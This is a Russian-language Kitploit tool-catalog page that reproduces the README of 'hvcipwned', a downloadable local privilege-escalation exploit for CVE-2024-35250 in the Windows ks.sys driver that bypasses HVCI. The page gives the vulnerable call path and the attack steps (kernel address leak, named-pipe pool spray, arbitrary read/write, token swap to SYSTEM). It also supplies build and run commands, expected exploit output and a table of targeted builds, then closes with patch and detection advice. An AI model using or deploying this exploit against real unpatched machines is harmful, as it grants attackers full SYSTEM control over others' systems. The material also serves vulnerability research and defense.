Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HVCIPwned — CVE-2024-35250 демонстрирует, что HVCI не является защитой от эксплойтов ядра, работающих только с данными. Пока ошибка драйвера предоставляет примитив произвольного R/W, token swap остаётся универсальной техникой повышения привилегий до SYSTEM — без необходимости выполнения кода. | Kitploit
Инструменты/GitHubGitHub/xvalegendary/hvcipwned
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubxvalegendary/hvcipwned

HVCIPwned

Репозиторий
825 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

CVE-2024-35250 демонстрирует, что HVCI не является защитой от эксплойтов ядра, работающих только с данными. Пока ошибка драйвера предоставляет примитив произвольного R/W, token swap остаётся универсальной техникой повышения привилегий до SYSTEM — без необходимости выполнения кода.

Поделиться

CVE-2024-35250

Локальное повышение привилегий через разыменование непроверенного указателя в драйвере Kernel Streaming (ks.sys). Эксплойт, работающий только с данными, — обходит Hypervisor-protected Code Integrity (HVCI).

Краткая информация

ПолеДетали
CVECVE-2024-35250
Компонентks.sys (Kernel Streaming)
Класс ошибкиРазыменование непроверенного указателя
ВоздействиеПовышение привилегий до NT AUTHORITY\SYSTEM
HVCIОбойдена — без выполнения кода в ядре
ПатчKB5039212 (Июнь 2024)
ЦелиWindows 10 20H1+ / Windows 11 21H2-23H2

Уязвимость

ks!KspPropertyHandler обрабатывает запросы свойств топологии через KspProcessPropertyNode. Поле NodeId из предоставленной пользователем структуры KSP_NODE используется как индекс во внутреннем массиве таблицы автоматизации без проверки границ:

root@kitploit:~
NtDeviceIoControlFile
  ks!CKSFilter::DispatchDeviceIoControl
    ks!KspPropertyHandler
      ks!KspProcessPropertyNode
        *(automationTable + NodeId * stride)   <-- управляется атакующим

Специально созданный NodeId, превышающий фактическое количество узлов, перенаправляет разыменование на соседнюю память пула, что даёт примитив чтения/записи за пределами границ.

Обход HVCI

Эксплойт манипулирует исключительно структурами данных ядра:

  1. Утечка адреса EPROCESS через NtQuerySystemInformation
  2. Запуск уязвимости для создания произвольного чтения/записи в ядре
  3. Перебор ActiveProcessLinks для нахождения PID 4 (System)
  4. Перезапись токена текущего процесса токеном System
  5. Запуск повышенной оболочки

Шелл-код не внедряется. Не создаются и не выполняются неподписанные страницы кода. Не перехватываются указатели потока управления.

ЗащитаСтатус
HVCI / KMCIОбойдена
SMEPНе сработала
SMAPНе сработала
kCFGНе сработал

Сборка

Требования

  • Visual Studio 2019 / 2022
  • Windows SDK 10.0.19041.0+

Компиляция

  1. Откройте hvcipwned.sln в Visual Studio
  2. Выберите Release | x64
  3. Сборка → Собрать решение (Ctrl+Shift+B)

Выходной бинарник: x64\Release\hvcipwned.exe

Ручная сборка через cl.exe

root@kitploit:~
cl.exe /nologo /W4 /O2 /TC ^
    main.c device.c leak.c krw.c token.c exploit.c ^
    /I ^
    /Fe:exploit.exe ^
    /link setupapi.lib kernel32.lib advapi32.lib

Использование

root@kitploit:~
hvcipwned.exe

Запускайте из сеанса непривилегированного пользователя на уязвимой (непропатченной) системе. В случае успеха откроется новое окно cmd.exe, работающее с правами NT AUTHORITY\SYSTEM.

Ожидаемый вывод

root@kitploit:~
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)

press enter to exit...

Структура проекта

root@kitploit:~
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h         - типы, макросы логов, typedefs NT API
├── offsets.h        - смещения полей eprocess для каждой сборки
├── device.h         - перечисление устройств ks
├── leak.h           - утечки адресов ядра
├── krw.h            - контекст примитива r/w
├── token.h          - замена токена + запуск оболочки
└── exploit.h        - точка входа верхнего уровня
├── main.c           - точка входа
├── device.c         - открытие устройства через setupapi
├── leak.c           - утечки через NtQuerySystemInformation
├── krw.c            - запуск уязвимости + spray пула + r/w
├── token.c          - проход eprocess + перезапись токена
└── exploit.c        - оркестрация

Поддерживаемые сборки

Смещения определяются автоматически во время выполнения через RtlGetVersion.

Примечания

  • Требуется устройство фильтра KS с узлами топологии (подходят аудиоустройства)
  • Успех spray пула зависит от давления на память системы и тайминга
  • Эксплойт использует атрибуты именованных каналов для «фэн-шуй» пула
  • Запускайте как обычный пользователь (без прав администратора) для демонстрации повышения привилегий
  • Может потребоваться несколько попыток из-за рандомизации раскладки пула

Смягчение

Ссылки

  • Рекомендации Microsoft
  • Примечания к патчу KB5039212
  • DEVCORE — Pwn2Own Vancouver 2024
  • varwara/CVE-2024-35250

Отказ от ответственности

Данный проект предоставлен только для авторизованных исследовательских и образовательных целей. Не используйте против систем без явного письменного разрешения. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.

Лицензия

MIT

Скачать инструмент
CET / Shadow Stack
Не сработал
ОССборкаСтатус
Windows 10 20H119041Поддерживается
Windows 10 20H219042Поддерживается
Windows 10 21H119043Поддерживается
Windows 10 21H219044Поддерживается
Windows 10 22H219045Поддерживается
Windows 11 21H222000Поддерживается
Windows 11 22H222621Поддерживается
Windows 11 23H222631Поддерживается
ДействиеДетали
ПатчУстановите KB5039212 (Июнь 2024) или более поздний
ОбнаружениеОтслеживайте IOCTL_KS_PROPERTY с флагом KSPROPERTY_TYPE_TOPOLOGY
EDRСрабатывание на изменения целостности токена через обратные вызовы ядра EtwTi
УкреплениеОграничьте доступ пользователей к интерфейсам устройств KS через DACL